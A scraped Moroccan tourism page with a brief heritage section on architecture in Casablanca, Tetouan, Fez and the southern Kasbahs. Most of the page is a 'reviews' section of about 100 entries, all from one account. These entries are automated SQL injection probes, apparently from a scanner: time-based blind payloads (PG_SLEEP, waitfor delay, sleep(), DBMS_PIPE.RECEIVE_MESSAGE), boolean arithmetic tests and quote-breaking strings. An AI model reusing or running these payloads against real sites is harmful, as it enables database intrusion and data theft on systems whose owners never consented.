+212 5233-52507

Heritage

HERITAGE

The architectural route:

A crossing of the country to meet the riches of the Moroccan heritage. From north to south, from east to west, the exciting history of the Kingdom is written in every stone.

Casablanca: The imprint of the 20th century
On the Atlantic coast, Casablanca is the showcase for the best in architecture from the 1920s. Many Art Deco buildings are located on Boulevard Mohammed V and in the old European district of Mers Sultan. However, in stark contrast, Casablanca knows how to stay at the forefront of modern architecture, notably with the “Twin Center”, housing offices, an hotel and a multi-storey high-rise shopping centre. More modern architecture has been built on the seafront where three different malls are located - Morocco Mall, Marina Mall and Anfa Place.

Hispano-Moorish style in Tetouan:

At the edge of the Mediterranean, in the heart of the medina of Tetouan, discover the multi-storey buildings of the colonial district of El Ensanche. The medina is full of these houses decorated with wrought iron in the European style. This is also a characteristic that is found around Chefchaouen.

Muslim influence in Fez:

Further south, Fez. Here, the medina and its innumerable treasures are classified as World Heritage of Humanity by UNESCO: doors, fountains, palaces, mosques, caravanserais, madrassas (Koranic schools). Zelliges, stuccoes, woodwork deeply mark the city as in an open-air museum.


Berber tradition in the far south:

Discover the valleys of the Great South and the wonders of the Berber tradition. This is expressed architecturally through a multitude of Kasbahs, citadels built of adobe; Ksars, fortified villages; and agadirs (collective granaries). The greatest concentration is in the Dades valley also nicknamed the "valley of 1000 Kasbahs".


Sign In to publish a review


Reviews (100)

- July 7, 2024 at 12:15:49 PM -

lxbfYeaa lxbfYeaa

@@BlT1q
- July 7, 2024 at 12:15:48 PM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 12:15:47 PM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 12:15:36 PM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 12:15:24 PM -

lxbfYeaa lxbfYeaa

555lDqoLpql')) OR 393=(SELECT 393 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:15:12 PM -

lxbfYeaa lxbfYeaa

555ZP60fKab') OR 40=(SELECT 40 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:15:08 PM -

lxbfYeaa lxbfYeaa

@@ZB3rY
- July 7, 2024 at 12:15:07 PM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 12:15:06 PM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 12:15:01 PM -

lxbfYeaa lxbfYeaa

5550ubW8eIG' OR 395=(SELECT 395 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:55 PM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 12:14:49 PM -

lxbfYeaa lxbfYeaa

555-1)) OR 253=(SELECT 253 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:43 PM -

lxbfYeaa lxbfYeaa

555zf5QoLnY')) OR 579=(SELECT 579 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:38 PM -

lxbfYeaa lxbfYeaa

555-1) OR 758=(SELECT 758 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:31 PM -

lxbfYeaa lxbfYeaa

555Hbs15zww') OR 198=(SELECT 198 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:26 PM -

lxbfYeaa lxbfYeaa

555-1 OR 514=(SELECT 514 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:19 PM -

lxbfYeaa lxbfYeaa

5550gO249wM' OR 801=(SELECT 801 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:15 PM -

lxbfYeaa lxbfYeaa

555SU8a2WFm'; waitfor delay '0:0:15' --
- July 7, 2024 at 12:14:09 PM -

lxbfYeaa lxbfYeaa

555-1)) OR 640=(SELECT 640 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:14:04 PM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 12:13:57 PM -

lxbfYeaa lxbfYeaa

555-1) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:13:52 PM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 12:13:46 PM -

lxbfYeaa lxbfYeaa

555-1 OR 556=(SELECT 556 FROM PG_SLEEP(15))--
- July 7, 2024 at 12:13:40 PM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 12:13:33 PM -

lxbfYeaa lxbfYeaa

555NtSghXPi'; waitfor delay '0:0:15' --
- July 7, 2024 at 12:13:27 PM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 12:13:21 PM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 12:13:15 PM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 12:13:10 PM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 12:13:03 PM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 12:12:58 PM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 12:12:52 PM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 12:12:46 PM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 12:12:39 PM -

lxbfYeaa lxbfYeaa

-1 OR 3+250-250-1=0+0+0+1
- July 7, 2024 at 12:12:39 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:12:39 PM -

lxbfYeaa lxbfYeaa

-1 OR 2+250-250-1=0+0+0+1
- July 7, 2024 at 12:12:38 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:12:38 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:12:37 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:12:34 PM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 12:12:25 PM -

lxbfYeaa lxbfYeaa

555uen2AD0S
- July 7, 2024 at 12:12:22 PM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 12:12:11 PM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 12:11:59 PM -

lxbfYeaa lxbfYeaa

-1 OR 3+152-152-1=0+0+0+1
- July 7, 2024 at 12:11:58 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:11:58 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:11:58 PM -

lxbfYeaa lxbfYeaa

-1 OR 2+152-152-1=0+0+0+1
- July 7, 2024 at 12:11:57 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:11:57 PM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 12:11:44 PM -

lxbfYeaa lxbfYeaa

5555WH1fc4K
- July 7, 2024 at 8:58:52 AM -

lxbfYeaa lxbfYeaa

@@2o7Bc
- July 7, 2024 at 8:58:52 AM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 8:58:51 AM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 8:58:39 AM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 8:58:28 AM -

lxbfYeaa lxbfYeaa

555NH7xNhOA')) OR 345=(SELECT 345 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:58:16 AM -

lxbfYeaa lxbfYeaa

555kUxS57Be') OR 668=(SELECT 668 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:58:04 AM -

lxbfYeaa lxbfYeaa

555Imq61glH' OR 833=(SELECT 833 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:57:53 AM -

lxbfYeaa lxbfYeaa

555-1)) OR 349=(SELECT 349 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:57:41 AM -

lxbfYeaa lxbfYeaa

555-1) OR 44=(SELECT 44 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:57:29 AM -

lxbfYeaa lxbfYeaa

555-1 OR 832=(SELECT 832 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:57:17 AM -

lxbfYeaa lxbfYeaa

555wkAHVXs5'; waitfor delay '0:0:15' --
- July 7, 2024 at 8:57:05 AM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 8:56:52 AM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 8:56:40 AM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 8:56:27 AM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 8:56:15 AM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 8:56:03 AM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 8:56:00 AM -

lxbfYeaa lxbfYeaa

@@MFroT
- July 7, 2024 at 8:55:59 AM -

lxbfYeaa lxbfYeaa

555'"
- July 7, 2024 at 8:55:59 AM -

lxbfYeaa lxbfYeaa

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- July 7, 2024 at 8:55:51 AM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 8:55:47 AM -

lxbfYeaa lxbfYeaa

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- July 7, 2024 at 8:55:40 AM -

lxbfYeaa lxbfYeaa

-1 OR 3+122-122-1=0+0+0+1
- July 7, 2024 at 8:55:39 AM -

lxbfYeaa lxbfYeaa

-1 OR 2+122-122-1=0+0+0+1
- July 7, 2024 at 8:55:39 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:55:38 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:55:38 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:55:37 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:55:34 AM -

lxbfYeaa lxbfYeaa

555irxqoiZ5')) OR 143=(SELECT 143 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:55:25 AM -

lxbfYeaa lxbfYeaa

555iXBE3xEg
- July 7, 2024 at 8:55:23 AM -

lxbfYeaa lxbfYeaa

5550MYVhn74') OR 929=(SELECT 929 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:55:11 AM -

lxbfYeaa lxbfYeaa

555kry9Bez5' OR 965=(SELECT 965 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:54:58 AM -

lxbfYeaa lxbfYeaa

555-1)) OR 873=(SELECT 873 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:54:46 AM -

lxbfYeaa lxbfYeaa

555-1) OR 104=(SELECT 104 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:54:34 AM -

lxbfYeaa lxbfYeaa

555-1 OR 943=(SELECT 943 FROM PG_SLEEP(15))--
- July 7, 2024 at 8:54:22 AM -

lxbfYeaa lxbfYeaa

555zBtFhUPD'; waitfor delay '0:0:15' --
- July 7, 2024 at 8:54:10 AM -

lxbfYeaa lxbfYeaa

555-1 waitfor delay '0:0:15' --
- July 7, 2024 at 8:53:42 AM -

lxbfYeaa lxbfYeaa

555-1); waitfor delay '0:0:15' --
- July 7, 2024 at 8:53:29 AM -

lxbfYeaa lxbfYeaa

555-1; waitfor delay '0:0:15' --
- July 7, 2024 at 8:53:17 AM -

lxbfYeaa lxbfYeaa

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- July 7, 2024 at 8:53:05 AM -

lxbfYeaa lxbfYeaa

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
- July 7, 2024 at 8:52:52 AM -

lxbfYeaa lxbfYeaa

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
- July 7, 2024 at 8:52:41 AM -

lxbfYeaa lxbfYeaa

555*if(now()=sysdate(),sleep(15),0)
- July 7, 2024 at 8:52:28 AM -

lxbfYeaa lxbfYeaa

-1 OR 3+459-459-1=0+0+0+1
- July 7, 2024 at 8:52:27 AM -

lxbfYeaa lxbfYeaa

-1 OR 2+459-459-1=0+0+0+1
- July 7, 2024 at 8:52:27 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:52:26 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:52:26 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:52:26 AM -

lxbfYeaa lxbfYeaa

555*1
- July 7, 2024 at 8:52:12 AM -

lxbfYeaa lxbfYeaa

555iOwWaCOB